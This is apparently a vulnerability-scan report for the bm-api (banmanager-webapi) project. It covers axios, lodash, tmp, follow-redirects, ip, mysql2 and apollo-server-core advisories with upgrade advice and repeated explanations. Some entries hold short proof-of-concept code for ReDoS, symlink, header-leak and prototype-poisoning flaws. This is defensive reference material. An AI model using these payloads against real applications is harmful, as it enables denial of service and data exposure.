Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.17.23.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.23 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.18.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

medium severity

Symlink Attack

  • Vulnerable module: tmp
  • Introduced through: inquirer@7.0.4

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › inquirer@7.0.4 › external-editor@3.1.0 › tmp@0.0.33

Overview

Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.

PoC

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

Remediation

Upgrade tmp to version 0.2.4 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2 › follow-redirects@1.5.10
    Remediation: Upgrade to hibp@8.0.1.

Overview

Affected versions of this package are vulnerable to Information Exposure due to the handling of the Proxy-Authorization header across hosts. When using a dependent library, it only clears the authorization header during cross-domain redirects but allows the proxy-authentication header, which contains credentials, to persist. This behavior may lead to the unintended leakage of credentials if an attacker can trigger a cross-domain redirect and capture the persistent proxy-authentication header.

PoC

const axios = require('axios');

axios.get('http://127.0.0.1:10081/',{
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
}).then(function (response) {
console.log(response);
})

Remediation

Upgrade follow-redirects to version 1.15.6 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: ip
  • Introduced through: ip@1.1.5

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › ip@1.1.5

Overview

ip is a Node library.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic function, which identifies some private IP addresses as public addresses due to improper parsing of the input. An attacker can manipulate a system that uses isLoopback(), isPrivate() and isPublic functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.

Note

This vulnerability derived from an incomplete fix for CVE-2023-42282

Remediation

There is no fixed version for ip.

References

medium severity

Prototype Poisoning

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.9.4.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Prototype Poisoning due to insecure results object creation and improper user input sanitization passed through parserFn in text_parser.js and binary_parser.js.

PoC

SELECT CAST('{"toString": {"toString":true}, "tags": {"a": 1, "b": null}}' as JSON) AS __proto__;
Object.getPrototypeOf(results[0])
> { tags: { a: 1, b: null }, toString: { toString: true } }

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mysql2 to version 3.9.4 or higher.

References

medium severity

Use of Web Browser Cache Containing Sensitive Information

  • Vulnerable module: mysql2
  • Introduced through: mysql2@2.1.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › mysql2@2.1.0
    Remediation: Upgrade to mysql2@3.9.3.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Use of Web Browser Cache Containing Sensitive Information through the keyFromFields function, resulting in cache poisoning. An attacker can inject a colon (:) character within a value of the attacker-crafted key.

PoC

  connection.query(
    'SELECT information_schema.tables.TABLE_NAME,`tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS FROM information_schema.tables INNER JOIN information_schema.tables AS `tables:160:63/DATA_LENGTH:8:undefined::tables` ON `tables:160:63/DATA_LENGTH:8:undefined::tables`.TABLE_ROWS!=information_schema.tables.TABLE_ROWS LIMIT 1;',
    function(err, results, fields) {
    }
  );
  // Send another request and spwan new connection
  connection1.query(
    `SELECT TABLE_NAME, TABLE_ROWS, DATA_LENGTH FROM information_schema.tables LIMIT 1;`,
    function(err, results, fields) {
      console.log(results);
      console.log(fields);
    }
  );

Results

[ { TABLE_NAME: 'ADMINISTRABLE_ROLE_AUTHORIZATIONS', TABLE_ROWS: 0 } ]
[
  `TABLE_NAME` VARCHAR(64) NOT NULL,
  `TABLE_ROWS` BIGINT(21) UNSIGNED,
  `DATA_LENGTH` BIGINT(21) UNSIGNED
]

Remediation

Upgrade mysql2 to version 3.9.3 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: apollo-server-core
  • Introduced through: apollo-server-koa@1.4.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › apollo-server-koa@1.4.0 › apollo-server-core@1.4.0

Overview

apollo-server-core is a core module of the Apollo community GraphQL Server.

Affected versions of this package are vulnerable to Information Exposure in the request handling process. An attacker can infer sensitive information about server responses by issuing specially crafted authenticated GraphQL queries across origins using a browser with a specific CORS implementation bug, allowing them to analyze response times and deduce facts such as whether fields return null or the approximate number of list entries returned from fields.

Note:

This is only exploitable if the server relies on cookies or HTTP Basic Auth for authentication and the attack is performed from a browser affected by the CORS bug.

Workaround

This vulnerability can be mitigated by blocking any HTTP request with a Content-Type header containing message/ from reaching the server, for example by adding middleware or a proxy rule to reject such requests.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

